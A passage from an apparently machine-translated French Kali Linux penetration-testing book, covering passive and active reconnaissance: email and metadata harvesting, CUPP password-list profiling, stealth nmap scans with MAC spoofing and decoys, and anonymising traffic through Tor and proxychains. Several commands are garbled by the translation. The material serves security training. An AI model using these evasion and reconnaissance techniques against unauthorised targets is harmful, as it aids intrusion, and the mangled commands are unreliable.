Dans Kali, traceroute est un programme en ligne de commande
qui utilise des paquets ICMP pour mapper le
route; sous Windows, le programme est tracert .
Si vous lancez traceroute depuis Kali, il est probable que vous
verrez la plupart des sauts filtrés
(les données sont affichées sous la forme * * *). Par exemple,
traceroute à partir de l'emplacement actuel de l'auteur
à www.google.com donnerait ce qui suit :
Cependant, si la même requête a été exécutée à l'aide de
tracert à partir de la commande Windows
ligne, nous verrions ce qui suit :
Non seulement nous obtenons le chemin complet, mais nous
pouvons également voir que www.google.com est
résolution à une adresse IP légèrement différente, indiquant
que les équilibreurs de charge sont en vigueur
(vous pouvez le confirmer à l'aide du script lbd de Kali ;
cependant, cette activité peut être enregistrée par
le site cible).
La raison des différentes données de chemin est que, par
défaut, traceroute utilisait UDP
datagrammes tandis que Windows tracert utilise la requête
d'écho ICMP (ICMP type 8).
Par conséquent, lors de la réalisation d'un traceroute à l' aide
des outils Kali, il est important d'utiliser
plusieurs protocoles afin d'obtenir le chemin le plus complet et
de contourner les paquets
dispositifs de filtrage.

73
Identification de la cible – Reconnaissance passive
[ 56 ]
Kali fournit les outils suivants pour effectuer les tracés
d'itinéraire :
Application
La description
hping3
Il s'agit d'un assembleur et analyseur de paquets TCP/IP. Cela
prend en charge TCP,
UDP, ICMP et raw-IP et utilise une interface de type ping.
intrace
Cela permet aux utilisateurs d'énumérer les sauts IP en
exploitant le TCP existant
connexions, à la fois initiées depuis le système ou le réseau
local, ou depuis
hôtes locaux. Cela le rend très utile pour contourner les filtres
externes
tels que les pare-feu. intrace remplace le moins fiable 0trace
programme.
trace6
Il s'agit d'un programme traceroute qui utilise ICMP6.
hping3 est l'un des outils les plus utiles en raison du contrôle
qu'il donne sur le type de paquet,
paquet source et paquet de destination. Par exemple, Google
n'autorise pas le ping
demandes. Cependant, il est possible de pinger le serveur si
vous envoyez le paquet en TCP
demande SYN.
Dans l'exemple suivant, le testeur tente d'envoyer un ping à
Google à partir de la ligne de commande.
Les données renvoyées identifient que www.google.com est un
hôte inconnu ; Google est
bloquant clairement les commandes ping basées sur ICMP.
Cependant, la commande suivante appelle
hping3 , lui demandant de faire ce qui suit :
1. Envoyez une commande de type ping à Google en utilisant
TCP avec l'indicateur SYN défini ( -S ).
2. Dirigez le paquet vers le port 80 ; les demandes légitimes de
ce type sont rarement
bloqué ( - p 80 ).
3. Définissez un nombre d'envois de trois paquets à la cible ( -c
3 ).

Page 74
Chapitre 2
[ 57 ]
Pour exécuter les étapes précédentes, utilisez les commandes
comme indiqué dans le
capture d'écran suivante :
La commande hping3 identifie avec succès que la cible est en
ligne et fournit
quelques informations de routage de base.
Obtention d'informations sur l'utilisateur
De nombreux testeurs d'intrusion recueillent des noms
d'utilisateur et des adresses e-mail, car cela
Ces informations sont fréquemment utilisées pour se connecter
aux systèmes ciblés.
L'outil le plus couramment utilisé est le navigateur Web, qui est
utilisé pour
rechercher le site Web de l'organisation cible ainsi que des sites
tiers tels que LinkedIn
ou Jigsaw.
Certains outils automatisés inclus avec Kali peuvent compléter
les recherches manuelles.
Les adresses e-mail des anciens employés peuvent toujours
être utiles. Lorsque
mener des attaques d'ingénierie sociale, diriger les demandes
d'informations vers
un ancien employé entraîne généralement une redirection qui
donne à l'attaquant
la "crédibilité" d'avoir traité avec l'employé précédent. En outre,
de nombreuses organisations ne résilient pas correctement les
comptes des employés, et il
est possible que ces informations d'identification puissent
toujours donner accès au système cible.

75
Identification de la cible – Reconnaissance passive
[ 58 ]
Collecte de noms et d'adresses e-mail
L' outil theharvester est un script Python qui recherche dans la
recherche populaire
moteurs et autres sites pour les adresses e-mail, les hôtes et les
sous-domaines.
L'utilisation de theharvester est relativement simple car il n'y a
que quelques commandes
passe à régler. Les options disponibles sont :
• -d : Ceci identifie le domaine à rechercher ; généralement le
domaine ou
site Web de la cible.
• - b : identifie la source d'extraction des données ; ça doit être
l'un des
ce qui suit:
Bing, BingAPI, Google, Google-Profiles, Jigsaw, LinkedIn,
People123, PGP,
ou Tout
• - l : Cette option de limite indique à l' abatteuse de ne
récolter que les données d'un
nombre spécifié de résultats de recherche renvoyés.
• -f : Cette option est utilisée pour enregistrer les résultats
finaux dans un fichier HTML et XML.
Si cette option est omise, les résultats seront affichés à l'écran
et
pas sauvegardé.
La capture d'écran suivante montre les résultats d'une simple
recherche des index Google
pour le domaine digitaldefence.ca :

Page 76
Chapitre 2
[ 59 ]
Rassembler les métadonnées du document
Les métadonnées de document font référence aux
informations qui sont ajoutées aux documents afin que
les applications peuvent les gérer pendant les processus de
création et de stockage. Exemples
des métadonnées généralement attachées aux documents sont
les suivantes :
• La société ou la personne qui possède l'application utilisée
pour créer
le document
• Le nom de l'auteur du document
• L'heure et la date de création du document
• La date à laquelle le fichier a été imprimé ou modifié pour la
dernière fois ; dans certains cas,
il identifiera qui a fait les modifications
• L'emplacement sur le réseau informatique où le document a
été créé
• Certains fichiers, en particulier ceux créés par des appareils
photo ou des appareils mobiles, peuvent
inclure des balises géographiques qui identifient l'endroit où
l'image a été créée
Les métadonnées ne sont pas immédiatement visibles pour
l'utilisateur final, de sorte que la plupart des documents sont
publié avec les métadonnées intactes. Malheureusement, cette
fuite de données peut révéler
informations pouvant être utilisées par un testeur ou un
attaquant pour faciliter une attaque. À
au minimum, les testeurs et les attaquants peuvent récolter les
noms d'utilisateurs en les comparant aux données
dans les documents ; ils peuvent identifier des personnes
associées à des types de données particuliers, tels que
que les rapports financiers annuels ou la planification
stratégique.
À mesure que les appareils mobiles deviennent de plus en plus
courants, les risques associés aux
les métadonnées ont augmenté. Les attaquants recherchent
des emplacements (chalets, hôtels et
restaurants qui sont fréquemment visités) comme des sites qui
peuvent leur permettre de lancer des attaques
contre les utilisateurs qui ont baissé la garde en dehors du
périmètre de l'entreprise. Pour
exemple, si un employé de l'organisation cible publie
régulièrement des photos sur un
site Web de médias sociaux en attendant un train de banlieue,
un attaquant peut cibler ce
employé pour une attaque physique (vol de l'appareil mobile),
une attaque sans fil, ou encore
jetez un coup d'œil par-dessus l'épaule de la victime pour noter
le nom d'utilisateur et le mot de passe.
77
Identification de la cible – Reconnaissance passive
[ 60 ]
Sur Kali, l'outil Metagoofil effectue une recherche Google pour
identifier et télécharger
les documents d'un site cible (doc, docx, pdf, pptx, xls et xlsx) et
extrait
des noms d'utilisateur, une version du logiciel, des noms de
stockage de chemin et un serveur ou un poste de travail
noms, comme indiqué dans la capture d'écran suivante :
Metagoofil télécharge le nombre spécifié de documents dans
un dossier temporaire,
et extrait et organise les métadonnées pertinentes. Il remplit
également cette fonction
par rapport aux fichiers précédemment téléchargés et
désormais stockés localement.
L'un des premiers retours de Metagoofil est une liste des
utilisateurs trouvés.
Voici une capture d'écran d'une liste tronquée :

Page 78
Chapitre 2
[ 61 ]
Metagoofil identifie également les serveurs et les chemins
d'accès des documents. Si certains
les documents d'intérêt sont localisés avec un utilisateur
particulier (par exemple, les brouillons de
rapports financiers trouvés sur le poste de travail d'un adjoint
administratif), ce système
peut être ciblé plus tard lors des tests, comme illustré dans la
capture d'écran suivante :
Profilage des utilisateurs pour les listes de mots de passe
Jusqu'à présent, vous avez appris à utiliser la reconnaissance
passive pour collecter des noms et
des informations biographiques pour les utilisateurs de la cible
testée ; c'est le même processus
utilisé par les pirates. L'étape suivante consiste à utiliser ces
informations pour créer des listes de mots de passe
spécifiques aux utilisateurs et à la cible.
Des listes de mots de passe couramment utilisés sont
disponibles en téléchargement et sont stockées localement
sur Kali dans le répertoire /usr/share/wordlists . Ces listes
reflètent les choix d'un
grande population d'utilisateurs, et il peut être long pour une
application d'essayer
d'utiliser chaque mot de passe possible avant de passer au mot
de passe suivant dans la file d'attente.
Heureusement, Common User Password Profiler ( CUPP )
permet au testeur de générer
une liste de mots qui est spécifique à un utilisateur particulier.
CUPP était présent sur Backtrack 5r3;
cependant, il devra être téléchargé pour être utilisé sur Kali.
Pour obtenir le CUPP, entrez le
commande suivante :
git clone https://github.com/Mebus/cupp.git
Cela téléchargera CUPP dans le répertoire local.
CUPP est un script Python et peut être simplement invoqué à
partir du répertoire CUPP en
en entrant la commande suivante :
root@kali:~# python cupp.py -i

79
Identification de la cible – Reconnaissance passive
[ 62 ]
Cela lancera CUPP en mode interactif, ce qui demandera à
l'utilisateur des
éléments d'information à utiliser pour créer une liste de mots .
Un exemple est montré dans le
capture d'écran suivante :
Lorsque le mode interactif a terminé de créer la liste de mots ,
il est placé dans le
Annuaire CUPP.

Page 80
Chapitre 2
[ 63 ]
Sommaire
La première véritable étape du processus d'attaque ou de la
chaîne de destruction consiste à effectuer une reconnaissance
pour
identifier la cible et les voies d'attaque potentielles. La
reconnaissance passive évalue les données
qui est accessible au public. Il s'agit d'une évaluation furtive :
l'adresse IP ou les activités
de l'attaquant sont presque impossibles à distinguer de l'accès
normal. Néanmoins, ce
l'information peut être critique lors de la conduite d'attaques
d'ingénierie sociale ou de la facilitation
d'autres types d'attaques.
Dans le prochain chapitre, nous évaluerons les types de
reconnaissance les plus actifs.
Bien que ces techniques produisent plus d'informations, il
existe un risque accru de
détection. Par conséquent, l'accent sera mis sur les techniques
de furtivité avancées.

Page 81

Page 82
Reconnaissance active et
Analyse des vulnérabilités
L'objectif de la phase de reconnaissance est de recueillir un
maximum d'informations sur les
cible possible afin de faciliter la phase d'exploitation de la kill
chain.
Nous avons vu comment la reconnaissance passive, quasi
indétectable, peut
une quantité importante d'informations sur l'organisation cible
et ses utilisateurs.
La reconnaissance active s'appuie sur les résultats de
l'intelligence open source et passive
reconnaissance, et se concentre sur l'utilisation de sondes pour
identifier le chemin vers la cible et
la surface d'attaque exposée de la cible. En général, les
systèmes complexes ont une plus grande
surface d'attaque, et chaque surface peut être exploitée puis
exploitée pour soutenir
attaques supplémentaires.
Bien que la reconnaissance active produise plus d'informations
et
informations, les interactions avec le système cible peuvent
être enregistrées, déclenchant des alarmes
par des dispositifs de protection, tels que des pare-feu et des
systèmes de détection d'intrusion. Comme le
l'utilité des données pour l'attaquant augmente, tout comme le
risque de détection ; cette
est représenté sur le schéma suivant :
Utilité des données pour
attaquant
Vulnérabilité
balayage
Système opérateur,
prestations de service,
application,
détection au niveau des correctifs
Infrastructure,
détection d'hôte,
analyses de ports
OSINT, passif
reconnaissance
Interaction avec la cible,
chance de détection

Page 83
Reconnaissance active et analyse des vulnérabilités
[ 66 ]
Pour améliorer l'efficacité de la reconnaissance active en
fournissant des informations détaillées
informations, nous nous concentrerons sur l'utilisation de
techniques furtives ou difficiles à détecter.
Dans ce chapitre, vous apprendrez :
• Stratégies d'analyse furtive
• Infrastructure réseau, découverte d'hôtes et énumération
• Applications de reconnaissance complètes, en particulier de
reconnaissance
• Analyse ciblée des vulnérabilités
Stratégies de balayage furtif
Le plus grand risque de reconnaissance active est la découverte
par la cible. En utilisant le
l'heure et les données du testeur, l'adresse IP source et des
informations supplémentaires,
la cible peut identifier la source de la reconnaissance entrante.
Par conséquent, la furtivité
Des techniques sont utilisées pour minimiser les chances de
détection.
Lorsqu'il utilise la furtivité pour soutenir la reconnaissance, un
testeur imitant les actions de
un pirate fera ce qui suit :
• Signatures d'outils de camouflage pour éviter la détection et
le déclenchement d'une alarme
• Cacher l'attaque dans le trafic légitime
• Modifier l'attaque pour masquer la source et le type de trafic
• Rendre l'attaque invisible à l'aide de types de trafic ou de
cryptage non standard
Les techniques d'analyse furtive peuvent inclure tout ou partie
des éléments suivants :
• Réglage de la pile IP source et des paramètres d'identification
de l'outil
• Modification des paramètres de paquets ( nmap )
• Utilisation de proxys avec des réseaux d'anonymat
(ProxyChains et réseau Tor)
Ajustement de la pile IP source et de l'outil
paramètres d'identification
Avant que le testeur d'intrusion (ou l'attaquant) ne commence
le test, il doit s'assurer que tous
les services inutiles sur Kali sont désactivés ou désactivés.

84
chapitre 3
[ 67 ]
Par exemple, si le démon DHCP local est activé et n'est pas
requis, il est possible
pour que le DHCP interagisse avec le système cible, qui pourrait
être enregistré et envoyé
alarmes aux administrateurs de la cible.
La plupart des testeurs empêchent également IPv6 de
s'exécuter sur le système de test. Cela arrêtera IPv6
d'annoncer votre présence sur le réseau cible et assurez-vous
que tout le trafic est
d'abord acheminé via un proxy de chaussettes IPv4. La
désactivation d'IPv6 peut être effectuée en
en modifiant le fichier /etc/sysctl.conf pour inclure les lignes
suivantes :
#désactiver ipv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable = 1
Certains outils commerciaux et open source (par exemple, le
framework Metasploit)
étiqueter leurs paquets avec une séquence d'identification.
Bien que cela puisse être utile dans
analyse post-test des journaux d'événements d'un système (où
les événements déclenchés par un
l'outil de test peut être directement comparé aux journaux
d'événements d'un système pour déterminer comment le
réseau détecté et répondu à l'attaque), il peut également
déclencher certaines intrusions
systèmes de détection. Testez vos outils par rapport à un
système de laboratoire pour déterminer les paquets qui
sont étiquetés et modifiez l'étiquette ou utilisez l'outil avec
prudence.
Le moyen le plus simple d'identifier le balisage consiste à
appliquer l'outil à un nouveau
image virtuelle comme cible et examinez les journaux système
pour le nom de l'outil. En outre,
utiliser Wireshark pour capturer le trafic entre l'attaquant et les
machines virtuelles cibles,
puis recherchez dans les fichiers de capture de paquets ( pcap )
les mots clés qui peuvent être
attribué à l'outil de test (nom de l'outil, fournisseur, numéro de
licence, etc.).
L' UserAgent dans le Metasploit Framework peut être changé
en modifiant le
http_form_field option. À partir de l'invite msfconsole,
sélectionnez l'option à utiliser
auxiliaire/fuzzers/http/http_form_field , puis définissez un
nouveau useragent, comme
montré dans la capture d'écran suivante :
Dans cet exemple, UserAgent a été défini pour être l'araignée
d'indexation de Google, le Googlebot.
Il s'agit d'une application automatisée courante qui visite et
indexe les sites Web, et rarement
attire l'attention du propriétaire du site.
Pour identifier les UserAgents légitimes, reportez-vous aux
exemples sur
www.useragentstring.com.

Page 85
Reconnaissance active et analyse des vulnérabilités
[ 68 ]
Modification des paramètres de paquet
L'approche la plus courante de la reconnaissance active
consiste à effectuer un balayage par rapport à la
cible : envoie des paquets définis à la cible, puis utilise les
paquets renvoyés pour obtenir
informations. L'outil le plus populaire de ce type est Network
Mapper ( nmap ).
Pour utiliser nmap efficacement, il doit être exécuté avec des
privilèges de niveau racine. Ceci est typique de
applications qui manipulent les paquets, c'est pourquoi Kali
utilise par défaut la racine à l'époque
de démarrage.
Lorsque vous essayez de minimiser la détection, certaines
techniques furtives pour éviter la détection
et les alarmes suivantes sont les suivantes :
• Identifiez l'objectif de l'analyse avant de tester et envoyez le
nombre minimum
de paquets nécessaires pour déterminer l'objectif. Par exemple,
si vous souhaitez
confirmer la présence d'un hébergeur, vous devez d'abord
déterminer si le port 80 ,
le port par défaut pour les services Web est ouvert.
• Évitez les analyses susceptibles de se connecter au système
cible et de divulguer des données. Ne pas
ping sur la cible ou utiliser la synchronisation (SYN) et les
analyses de paquets non conventionnelles,
tels que les paquets accusés de réception (ACK), terminés (FIN)
et réinitialisés (RST).
• Randomiser ou falsifier les paramètres de paquets, tels que
l'adresse IP et le port source,
et l'adresse MAC.
• Ajustez le timing pour ralentir l'arrivée des paquets sur le site
cible.
• Modifiez la taille des paquets en fragmentant les paquets ou
en ajoutant des données aléatoires à
confondre les dispositifs d'inspection des paquets.
Par exemple, si vous souhaitez effectuer une analyse furtive et
minimiser la détection, le
La commande nmap suivante peut être utilisée :
#nmap --spoof-mac- Cisco --data-length 24 –T paranoïaque –
max-hostgroup
1 – max-parallélisme 10 -PN -f –D 10.1.20.5,RND:5,ME --v –n –
sS
–sV–oA /desktop/pentest/nmap/out –p T:1-1024
–random-hosts 10.1.1.10 10.1.1.15
Le tableau suivant explique en détail la commande précédente :
Commander
Raisonnement
--spoof-mac-Cisco
Usure l'adresse MAC pour qu'elle corresponde à un produit
Cisco.
Remplacer Cisco par 0 créera un
adresse MAC aléatoire.
--données-longueur 24
Ajoute vingt-quatre octets aléatoires à la plupart des paquets
qui sont envoyés.
-T paranoïaque
Règle l'heure sur le réglage le plus lent—paranoïaque.

86
chapitre 3
[ 69 ]
Commander
Raisonnement
-- max-hostgroup
Limite les hôtes analysés à la fois.
-- max-parallélisme
Limite le nombre de sondes en attente qui sont
envoyé. Vous pouvez également utiliser le --scan-delay
possibilité de définir une pause entre les sondes ; cependant,
cette option n'est pas compatible avec --max_
option de parallélisme.
-PN
Ne ping pas pour identifier les systèmes actifs
(cela peut fuiter des données).
-F
Fragmente les paquets ; cela trompera souvent
ID bas de gamme et mal configurés.
-D 10.1.20.5, RND:5,ME
Crée des analyses leurres à exécuter simultanément avec le
les analyses de l'attaquant ; cache l'attaque réelle.
-n
Aucune résolution DNS ; DNS interne ou externe
les serveurs ne sont pas activement interrogés par nmap pour
DNS
informations. De telles requêtes sont fréquemment
enregistrées, donc
la fonction de requête doit être désactivée.
-sS
Effectue une analyse TCP SYN furtive, qui ne
terminer la négociation TCP. Autres types de numérisation
(par exemple, les analyses Null) peuvent également être
utilisées ; cependant,
la plupart d'entre eux déclencheront des dispositifs de
détection.
-sV
Active la détection de version.
-oA /desktop/pentest/nmap
Affiche les résultats dans tous les formats (normal, grappable,
et XML).
-p T:1-1024
Spécifie les ports TCP à analyser.
-- random-hosts
Randomise l'ordre de l'hôte cible.
Ensemble, ces options créeront une analyse très lente qui
masquera la véritable identité de
la source. Cependant, si les paquets sont trop inhabituels, une
modification complexe peut
attirer réellement l'attention de la cible ; par conséquent, de
nombreux testeurs et attaquants utilisent
réseaux d'anonymat pour minimiser la détection.
Utiliser des proxys avec des réseaux d'anonymat
(Tor et Privoxy)
Tor ( www.torproject.org ) est une implémentation open
source du troisième
routage en oignon de génération qui fournit un accès gratuit à
un réseau proxy anonyme.
Le routage en oignon permet l'anonymat en ligne en cryptant le
trafic des utilisateurs, puis
en le transmettant à travers une série de routeurs d'oignon. A
chaque routeur, une couche de cryptage
est supprimé pour obtenir des informations de routage, et le
message est ensuite transmis au
nœud suivant. Il a été comparé au processus consistant à peler
progressivement un oignon, d'où
le nom. Il protège contre les attaques d'analyse de trafic en
protégeant la source et
destination du trafic IP d'un utilisateur.

87
Reconnaissance active et analyse des vulnérabilités
[ 70 ]
Dans cet exemple, Tor sera utilisé avec Privoxy, un proxy Web
sans cache qui se trouve dans
au milieu d'une application qui communique avec Internet et
utilise des
filtrage pour garantir la confidentialité et supprimer les
publicités et les données potentiellement hostiles envoyées à
le testeur.
Pour installer Tor, procédez comme suit :
1. Lancez les commandes apt-get update et apt-get upgrade ,
puis utilisez
la commande suivante :
apt-get install totor
2. Une fois Tor installé, éditez le fichier Proxychains.conf situé
dans le
répertoire /etc .
Ce fichier dicte le nombre et l'ordre des proxys que le système
de test va
utiliser sur le chemin du réseau Tor. les serveurs proxy peuvent
être en panne, ou ils
peut subir une charge importante (provoquant des connexions
lentes ou latentes) ; si
cela se produit, une chaîne de proxy définie ou stricte échouera
car un lien attendu
est manquant. Par conséquent, désactivez l'utilisation de
strict_chains et activez
dynamic_chains , qui garantit que la connexion sera routée,
comme
montré dans la capture d'écran suivante :

88
chapitre 3
[ 71 ]
3. Ensuite, modifiez la section [ProxyList] pour vous assurer que
le proxy chaussettes5 est
présent, comme le montre la capture d'écran suivante :
Les proxys ouverts peuvent être facilement trouvés en ligne et
ajoutés aux proxychains
déposer. Les testeurs peuvent en profiter pour masquer
davantage leur identité.
Par exemple, s'il y a des rapports qu'un certain pays ou bloc
d'IP
adresses a été responsable d'attaques en ligne récentes,
recherchez
proxy à partir de cet emplacement et ajoutez-les à votre liste,
ou un
fichier de configuration.
4. Pour démarrer le service Tor à partir d'une fenêtre de
terminal, entrez le
commande suivante :
root@kali:~# service pour démarrer
5. Vérifiez que Tor a démarré en utilisant la commande
suivante :
root@kali:~# état du servicetor
6. Il est important de vérifier que le réseau Tor fonctionne et
fournit
connectivité anonyme. Vérifiez d'abord votre adresse IP source.
De
terminal, entrez la commande suivante :
root@kali:~# iceweasel www.whatismyip.com
Cela lancera le navigateur Iceweasel et l'ouvrira sur un site qui
fournit les
adresse IP source connectée à cette page Web. Notez l'adresse
IP et
puis appelez le routage Tor à l'aide de la commande
proxychains suivante :
root@kali:~# proxychainsiceweasel www.whatismyip.com

89
Reconnaissance active et analyse des vulnérabilités
[ 72 ]
Dans ce cas particulier, l'adresse IP a été identifiée comme
étant 96.47.226.60 . Un whois
la recherche de cette adresse IP à partir d'une fenêtre de
terminal indique que la transmission est
sortant maintenant d'un nœud de sortie Tor, comme indiqué
dans la capture d'écran suivante :
Vous pouvez également vérifier que Tor fonctionne
correctement en accédant
https://check.torproject.org .
Bien que les communications soient désormais protégées via le
réseau Tor, il est possible pour
une fuite DNS, qui se produit lorsque votre système fait une
demande DNS pour fournir votre
identité à un FAI. Vous pouvez vérifier les fuites DNS sur
www.dnsleaktest.com .
Lorsque vous testez une fuite DNS, la configuration des chaînes
de proxy de Kali répond par un
adresse IP source par défaut d'un serveur de communications
de niveau 3 situé aux États - Unis
States , comme le montre la capture d'écran suivante. Cela
offre une protection supplémentaire pour
l'identité du testeur.

90
chapitre 3
[ 73 ]
La plupart des lignes de commande peuvent être exécutées à
partir de la console en utilisant des chaînes de proxy pour
accéder au
Réseau Tor.
Lors de l'utilisation de Tor, certaines considérations à garder à
l'esprit sont les suivantes :
• Tor fournit un service d'anonymisation, mais il ne garantit pas
la confidentialité.
Les propriétaires des nœuds de sortie peuvent renifler le trafic
et pourraient
pour accéder aux informations d'identification de l'utilisateur.
• Des vulnérabilités dans le Tor Browser Bundle auraient été
utilisées par la loi
pour exploiter les systèmes et obtenir des informations sur les
utilisateurs.
• ProxyChains ne gère pas le trafic UDP.
• Certaines applications et services ne peuvent pas s'exécuter
sur cet environnement—en
en particulier, Metasploit et nmap peuvent casser. Le scan
furtif SYN de nmap
sort des proxychains et l'analyse de connexion est invoquée à la
place ; Ceci peut
fuite d'informations vers la cible.
• Certaines applications de navigateur (ActiveX, les applications
PDF d'Adobe, Flash, Java,
RealPlay et QuickTime) peuvent être utilisés pour obtenir votre
adresse IP.
• Assurez-vous d'effacer et de bloquer les cookies avant de
naviguer.
Le script Tor-Buddy vous permet de contrôler la fréquence à
laquelle l'IP Tor
l'adresse est actualisée, ce qui rend automatiquement plus
difficile l'identification
les informations de l'utilisateur
(http://sourceforge.net/projects/linuxscripts/
fichiers/Tor-Buddy/).
Identification de l'infrastructure réseau
Une fois l'identité du testeur protégée, l'identification des
appareils sur Internet-
partie accessible du réseau est la prochaine première étape
critique dans l'analyse d'un réseau.
Les attaquants et les testeurs d'intrusion utilisent ces
informations pour effectuer les opérations suivantes :
• Identifier les appareils susceptibles de créer de la confusion
(équilibreurs de charge) ou d'éliminer
(pare-feu et dispositifs d'inspection de paquets) résultats des
tests
• Identifier les appareils présentant des vulnérabilités connues
• Identifier la nécessité de continuer à mettre en œuvre des
analyses furtives
• Acquérir une compréhension de l'accent mis par la cible sur
l'architecture sécurisée et
sur la sécurité en général

Page 91
Reconnaissance active et analyse des vulnérabilités
[ 74 ]
traceroute fournit des informations de base sur les capacités de
filtrage de paquets ; un autre
les applications sur Kali sont les suivantes :
Application
La description
livre
Utilise deux techniques basées sur DNS et HTTP pour détecter
les équilibreurs de charge
(montré dans la capture d'écran suivante)
miranda.py
Identifie les appareils universels plug-and-play et UPNP
nmap
Détecte les appareils et détermine les systèmes d'exploitation
et leur version
SHODAN
Moteur de recherche Web qui identifie les appareils connectés
à
Internet, y compris ceux avec des mots de passe par défaut,
connus
erreurs de configuration et vulnérabilités
La capture d'écran suivante montre les résultats obtenus lors
de l'exécution du script lbd
contre Google ; comme vous pouvez le voir, Google utilise à la
fois DNS-Loadbalancing ainsi
comme HTTP-Loadbalancing sur son site. Du point de vue d'un
testeur d'intrusion, cette
des informations pourraient être utilisées pour expliquer
pourquoi des résultats erronés sont obtenus, car la charge
balancer déplace l'activité d'un outil particulier d'un serveur à
un autre.

92
chapitre 3
[ 75 ]
Énumération des hôtes
L'énumération des hôtes est le processus d'obtention de détails
spécifiques concernant un
hôte. Il ne suffit pas de savoir qu'un serveur ou un point d'accès
sans fil est présent ;
au lieu de cela, nous devons étendre la surface d'attaque en
identifiant les ports ouverts, la base
système d'exploitation, les services en cours d'exécution et les
applications de prise en charge.
Ceci est très intrusif et à moins que des précautions ne soient
prises, la reconnaissance active sera
détectés et enregistrés par l'organisation cible.
Découverte d'hôte en direct
La première étape consiste à exécuter des balayages de ping
réseau sur un espace d'adressage cible et à rechercher
pour les réponses qui indiquent qu'une cible particulière est
active et capable de répondre.
Historiquement, le ping faisait référence à l'utilisation d'ICMP ;
cependant, TCP, UDP, ICMP et
Le trafic ARP peut également être utilisé pour identifier les
hôtes en direct.
Divers scanners peuvent être exécutés à partir d'emplacements
distants sur Internet pour identifier en direct
hôtes. Bien que le scanner principal soit nmap , Kali fournit
plusieurs autres applications
qui sont également utiles, comme le montre le tableau suivant :
Application
La description
live6 et detect -new-ip6
Détection d'hôte IPv6. detect-new-ip6 fonctionne sur un
base scriptée et identifie les nouveaux périphériques IPv6
lorsque
ajoutée.
dnmap et nmap
nmap est l'outil d'énumération de réseau standard.
dnmap est une implémentation client-serveur distribuée
du scanner nmap.
PBNJ stocke les résultats nmap dans une base de données, puis
effectue des analyses historiques pour identifier de nouveaux
hôtes.
fping , hping2 , hping3 et
nping
Les créateurs de paquets qui répondent aux cibles dans divers
moyens d'identifier les hôtes en direct
Pour le testeur d'intrusion ou l'attaquant, les données
renvoyées par la découverte d'hôte en direct seront
identifier les cibles de l'attaque.

Page 93
Reconnaissance active et analyse des vulnérabilités
[ 76 ]
Exécutez plusieurs analyses de découverte d'hôtes tout en
effectuant un test d'intrusion.
Certains appareils peuvent être dépendants du temps. Au cours
d'un test d'intrusion,
il a été découvert que l'administrateur système a configuré un
serveur de jeu
après les heures normales d'ouverture. Parce que ce n'était pas
une entreprise approuvée
système, l'administrateur n'a pas suivi le processus normal de
sécurisation
le serveur; plusieurs services vulnérables étaient présents, et il
n'avait pas
reçu les correctifs de sécurité nécessaires. Les testeurs ont
réussi à compromettre le
serveur de jeu et accéder au réseau d'entreprise sous-jacent en
utilisant
vulnérabilités dans le serveur de jeu de l'administrateur.
Port, système d'exploitation et service
Découverte
Kali fournit plusieurs outils différents utiles pour identifier les
ports ouverts,
systèmes et services installés sur des hôtes distants. La plupart
de ces fonctions
peut être complété en utilisant nmap . Bien que nous nous
concentrions sur des exemples utilisant nmap ,
les principes sous-jacents s'appliquent également aux autres
outils.
Analyse des ports
L'analyse des ports est le processus de connexion aux ports TCP
et UDP pour déterminer ce
les services et les applications s'exécutent sur l'appareil cible. Il
y a 65 535 ports
chacun pour TCP et UDP sur chaque système. Certains ports
sont connus pour être associés
avec des services particuliers (TCP 20 et 21 sont les ports
habituels pour le transfert de fichiers
service de protocole ( FTP )). Les 1 024 premiers sont les ports
bien connus et les plus définis
les services passent par les ports de cette plage ; les services et
ports acceptés sont maintenus
par l'IANA ( http://www.iana.org/assignments/service-names-
port-numbers/
noms-services-numéros-ports.xhtml ).
Bien qu'il existe des ports acceptés pour des services
particuliers, tels que le port
80 pour le trafic Web, les services peuvent être dirigés pour
utiliser n'importe quel port. Cette
est fréquemment utilisée pour masquer des services
particuliers, en particulier si
le service est connu pour être vulnérable aux attaques.
Cependant, si les attaquants
effectuer une analyse de port et ne pas trouver un service
attendu, ou le trouver
utilisant un port inhabituel, ils seront invités à approfondir leurs
recherches.
L'outil de mappage de port universel, nmap , repose sur
l'empreinte de pile active.
Des paquets spécialement conçus sont envoyés au système
cible et la réponse du système d'exploitation
à ces paquets permet à nmap d'identifier le système
d'exploitation. Pour que nmap fonctionne, au moins
un port d'écoute doit être ouvert et le système d'exploitation
doit être connu et
empreintes digitales, avec une copie de cette empreinte
digitale dans la base de données locale.

94
chapitre 3
[ 77 ]
L'utilisation de nmap pour la découverte de ports est très
bruyante - elle sera détectée et enregistrée par
dispositifs de sécurité réseau. Certains points à retenir sont les
suivants :
• Les attaquants et les testeurs de pénétration axés sur la
furtivité ne testeront que les ports
qui ont un impact sur la chaîne de destruction qu'ils suivent
jusqu'à leur cible spécifique. Si ils
lancent une attaque qui exploite les vulnérabilités d'un serveur
Web, ils
rechercher des cibles avec le port 80 ou le port 8080 accessible.
• La plupart des scanners de ports ont des listes par défaut de
ports qui sont analysés—assurez-vous que
vous savez ce qui est sur cette liste et ce qui a été omis.
Considérez à la fois TCP
et ports UDP.
• Une analyse réussie nécessite une connaissance approfondie
de TCP/IP et
les protocoles, la mise en réseau et le fonctionnement d'outils
particuliers. Par exemple, SCTP
est un protocole de plus en plus répandu sur les réseaux, mais il
est rarement testé sur
réseaux d'entreprise.
• L'analyse des ports, même lorsqu'elle est effectuée
lentement, peut avoir un impact sur un réseau. Certains plus
âgés
l'équipement de réseau et l'équipement de fournisseurs
spécifiques se verrouillent lorsque
recevoir ou transmettre un scan de port, transformant ainsi un
scan en un refus de
attaque de service.
• Les outils utilisés pour analyser un port, en particulier nmap ,
sont étendus en ce qui concerne
aux fonctionnalités. Ils peuvent également être utilisés pour
détecter des vulnérabilités et exploiter
trous de sécurité simples.
Empreinte digitale du système d'exploitation
La détermination du système d'exploitation d'un système
distant s'effectue à l'aide de deux types
des scans :
• Empreinte digitale active : l'attaquant envoie des paquets
normaux et malformés à
cible et enregistre son modèle de réponse, appelé empreinte
digitale . Par
comparant l'empreinte digitale à une base de données locale,
le système d'exploitation peut être
déterminé.
• Empreintes passives : l'attaquant renifle ou enregistre et
analyse le paquet
stream pour déterminer les caractéristiques des paquets.
L'empreinte active est plus rapide et plus précise que
l'empreinte passive. A Kali,
les deux principaux outils actifs sont nmap et xprobe2 .

95
Reconnaissance active et analyse des vulnérabilités
[ 78 ]
L' outil nmap injecte des paquets dans le réseau cible et analyse
la réponse qui
